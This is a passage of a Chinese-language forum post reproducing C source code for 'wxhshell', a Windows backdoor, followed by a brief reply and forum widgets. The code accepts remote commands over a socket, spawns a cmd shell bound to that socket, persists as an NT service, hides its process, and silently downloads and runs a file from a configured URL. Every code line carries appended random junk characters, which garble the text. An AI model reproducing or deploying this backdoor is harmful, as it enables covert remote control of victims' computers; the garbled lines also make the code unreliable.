  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aE.T%xR  
  } o?uTL>Zin  
  else { ]5D?Sc#-  
DV +DJcF  
    switch(cmd[0]) { #9z\Wblr  
  u#XNl":x  
  // 帮助 V ea>T^  
  case '?': {  !pl<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *{:FPmDU  
    break; xin<.)!E  
  } (A`/3Aq+  
  // 安装 M$A"<5  
  case 'i': { 1fwCQM   
    if(Install()) e $QX?y .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $A6'YgK  
    else ;<0Q<0G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bnLvJ]i)  
    break; &k(t_~m>  
    } sJtz{'  
  // 卸载 VkFTIyt  
  case 'r': { Y1EN|!WZ  
    if(Uninstall()) ~=(?Z2UDA_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7(na?Z$  
    else Q(gu ";&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ->&AJI0  
    break; 2Jrr;"r  
    } -?<wvUbR{  
  // 显示 wxhshell 所在路径 q{Hk27kt  
  case 'p': { uc~PKU?tO  
    char svExeFile[MAX_PATH]; D8slSX`6j  
    strcpy(svExeFile,"\n\r"); Hx2.2 A^  
      strcat(svExeFile,ExeFile); C/%umazP9  
        send(wsh,svExeFile,strlen(svExeFile),0); ftsr-3!Vm  
    break; -tZ2 N  
    } PH 97O`"  
  // 重启 hu[=9#''$  
  case 'b': { q5:-?|jXJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ],R rk]1  
    if(Boot(REBOOT)) [qlq&?"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mIq6\c$  
    else { 2?rg&og6  
    closesocket(wsh); |{cdXbr  
    ExitThread(0); /ow/)\/}  
    } |//cA2@.  
    break; K) $.0S9d  
    } `ysPEwA|  
  // 关机 NS6Bi3~  
  case 'd': { zAt!jP0E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CF>k_\/Bj  
    if(Boot(SHUTDOWN)) S(mJ;C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bG67TWY)  
    else { z^I"{eT8  
    closesocket(wsh); Qpiv,n  
    ExitThread(0); wcP0PfY  
    } ~ C6< 75  
    break; 9+h9]T:9  
    } 8e)k5[\m  
  // 获取shell [ivz/r(Rj  
  case 's': { @^} % o-:  
    CmdShell(wsh); ,7SLc+  
    closesocket(wsh); d|]F^DDuI  
    ExitThread(0); ukv _bw  
    break; ?/)Mt(p  
  } :h0as!2@dp  
  // 退出 v>.nL(VLjP  
  case 'x': { cEi{+rfZd|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |gx{un`  
    CloseIt(wsh); "R+ x  
    break; %Nd|VAe  
    } qfvd( w  
  // 离开 8qp!S1Qnv  
  case 'q': { au}rS0) +  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oP5G*AFUq  
    closesocket(wsh); xeo;4c#S5  
    WSACleanup(); 8,=Ti7_  
    exit(1); e"hm|'  
    break; )-|A|1Uo  
        } V\%;S  
  } f!e8xDfA  
  } #>O,w0<qM  
#nX0xV5=  
  // 提示信息 _)p@;vGV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !V$nU8p|  
} ygS*))7 r  
  } $$<9tqA  
SG |!wH^  
  return; ,ZV<o!\  
} _s (0P*  
: RnjcnR  
// shell模块句柄 KMhoG.$Ra  
int CmdShell(SOCKET sock) aoz+g,1 //  
{ ~YO')  
STARTUPINFO si; *pw:oTO  
ZeroMemory(&si,sizeof(si)); rI o`n2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \% !]qv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u9"b,].b  
PROCESS_INFORMATION ProcessInfo; ' IFbD["r  
char cmdline[]="cmd"; 0aSN 8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )NRY9\H  
  return 0; *:\-:*  
} h eZJ(mR  
KCq qwGM  
// 自身启动模式 Lg|j0-"N  
int StartFromService(void) `x~k}  
{ N'Ywn}!js  
typedef struct F0o7XUt  
{ MG[?C2KA/  
  DWORD ExitStatus; z 4Qz9#*"^  
  DWORD PebBaseAddress; B{H;3{0  
  DWORD AffinityMask; JVwYV5-O<0  
  DWORD BasePriority; m/=,O_  
  ULONG UniqueProcessId; 8<0H(lj7_  
  ULONG InheritedFromUniqueProcessId; E,shTh%&~  
}   PROCESS_BASIC_INFORMATION; \yNjsG@,  
y7wy9+>l  
PROCNTQSIP NtQueryInformationProcess; #p&iH9c_  
:IV4]`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {a `kPfP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; })T}e7>T  
]2QZ47  
  HANDLE             hProcess; o B_c6]K  
  PROCESS_BASIC_INFORMATION pbi; 3%{XJV   
aWm0*W"(@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ETV|;>v  
  if(NULL == hInst ) return 0; H&[CSc  
Au#(guvm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cq !VMl>hP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ggVB8QN{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bnUpH3  
1m|Oi%i4  
  if (!NtQueryInformationProcess) return 0;  ?Vbe  
[ 8N1tZ{`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v[e$RH  
  if(!hProcess) return 0; g v&xC 6>  
L7G':oA_`p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?#ndMv!$  
_MR|(mV  
  CloseHandle(hProcess); #AyM!   
[Rs5hO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j8M}*1  
if(hProcess==NULL) return 0; 7 '2E-#^  
yi"V'Us  
HMODULE hMod; %&c[g O!Za  
char procName[255]; t# &^ -;  
unsigned long cbNeeded; "%D+_Yb'X  
c;Hf+n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mc?5,oz;pz  
A~\:}P N  
  CloseHandle(hProcess); tB&D~M6[  
BEg%u)"([  
if(strstr(procName,"services")) return 1; // 以服务启动 /_xwHiA  
3xsC"c>  
  return 0; // 注册表启动 '-D-H}%;}M  
}  X4BDl  
kFHqQs aG  
// 主模块 /e|`mu%  
int StartWxhshell(LPSTR lpCmdLine) 1FjA   
{ ]r$S{<  
  SOCKET wsl; Nj %!N  
BOOL val=TRUE; w)&]k#r  
  int port=0; |D$U{5}Mv  
  struct sockaddr_in door; Sl:Qq!  
KG'4;Z5J  
  if(wscfg.ws_autoins) Install(); .Ig`v  
zY(w`Hm2  
port=atoi(lpCmdLine); t.j q]L  
R7KHfXy'm  
if(port<=0) port=wscfg.ws_port;  kej@,8  
bo <.7  
  WSADATA data; ``1#^ `  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P{)&#HXUVb  
5f=e JDo=x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FxKH?Rl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wDem }uO  
  door.sin_family = AF_INET; 2xni! *T+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IA&((\YC  
  door.sin_port = htons(port); }{ pNasAU  
A*n'"+_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TiCp2Rsz  
closesocket(wsl); gA2Il8K  
return 1; W+H 27qsv  
} yT-m9$^v  
r@e_cD] M  
  if(listen(wsl,2) == INVALID_SOCKET) { %HL@O]ftS  
closesocket(wsl); TqKL(Qw E  
return 1; |w>"oaLN|Q  
} W`eYd| +C  
  Wxhshell(wsl); 5ii`!y  
  WSACleanup(); k^C;"awh  
.',ikez  
return 0; Fng":28o  
*Mg=IEu-6[  
} jzI\Q{[m'  
~~;fWM '  
// 以NT服务方式启动 GJy><'J,!>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }dAb} 0XK.  
{ Zul]ekv  
DWORD   status = 0; EqUiC*u8{I  
  DWORD   specificError = 0xfffffff; :QUZ7^u  
Dd!MG'%hlb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H6/@loO!Xy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hNyYk(t^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |B)e! #  
  serviceStatus.dwWin32ExitCode     = 0; nDiD7:e7=  
  serviceStatus.dwServiceSpecificExitCode = 0; Y_p   
  serviceStatus.dwCheckPoint       = 0; M7eO5  
  serviceStatus.dwWaitHint       = 0; kR-N9|>i  
WyA>OB<Zeq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?.v!RdM+  
  if (hServiceStatusHandle==0) return; S%Pk@n`z]  
Gw~^6(Qu  
status = GetLastError(); cGsP0LkHC  
  if (status!=NO_ERROR) >`5iq.v  
{ n2Dnpe:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5|r3i \  
    serviceStatus.dwCheckPoint       = 0; 8$v17 3  
    serviceStatus.dwWaitHint       = 0; BtBy.bR  
    serviceStatus.dwWin32ExitCode     = status; f|Z3VS0x  
    serviceStatus.dwServiceSpecificExitCode = specificError; iWCN2om  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H3QAIsGS  
    return; mXz-#Go(  
  } $Fc*^8$ryC  
 42Gr0+Mb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qoB   
  serviceStatus.dwCheckPoint       = 0; O *H:CW  
  serviceStatus.dwWaitHint       = 0; |ng[s6uf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9C|T/+R  
} 9 ?MOeOV8  
u 6 la  
// 处理NT服务事件,比如:启动、停止 -*e$>w[.N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &^63*x;hE  
{ .Z8 x!!Q*  
switch(fdwControl) udp&U+L  
{ un W{ZfEC  
case SERVICE_CONTROL_STOP: p tv  
  serviceStatus.dwWin32ExitCode = 0; 6:-qL}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q jDW A'  
  serviceStatus.dwCheckPoint   = 0; (66X  
  serviceStatus.dwWaitHint     = 0; gLl?e8[F  
  { pF K[b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z+PSx'#}  
  } _f|Au`7m  
  return; DcSL f4A  
case SERVICE_CONTROL_PAUSE: ]'~'V2Ey  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1^!= J<`K;  
  break; |]+m<Dpyr2  
case SERVICE_CONTROL_CONTINUE: baR{   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %+gze|J  
  break; {'"A hiR/  
case SERVICE_CONTROL_INTERROGATE: KOhy)h+ h  
  break; fa\<![8LAU  
}; 6\4oHRJC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >^|\wy  
} /y@$|DI1  
B(Y{  
// 标准应用程序主函数 ~M(K{6R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [xO^\oQa=c  
{ x"8(j8e  
mC>7l7%  
// 获取操作系统版本 7Ar4:iNvX  
OsIsNt=GetOsVer(); *: e^yi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |oSyyDYWP  
FLEf(  
  // 从命令行安装 C.8]~MP  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?.\ CUVK  
#q==GT7  
  // 下载执行文件 4mNL;O  
if(wscfg.ws_downexe) { n3isLNvIp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ETSBd[  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vfg144FG'  
}  ;lW0p8  
0u'2f`p*  
if(!OsIsNt) { TQE3/IL  
// 如果时win9x,隐藏进程并且设置为注册表启动 OjJlGElw  
HideProc(); (mt,:hX  
StartWxhshell(lpCmdLine); [g=yuVXNZZ  
} }4cLU.L8O  
else U g]6i+rp  
  if(StartFromService()) d";+8S  
  // 以服务方式启动 e`k 2g ^  
  StartServiceCtrlDispatcher(DispatchTable); YXrTm[P  
else 0x[vB5R  
  // 普通方式启动 ;o%r{:lng  
  StartWxhshell(lpCmdLine); 0RtqqNFD  
4K0N$9pd:  
return 0; P~ffgzP  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八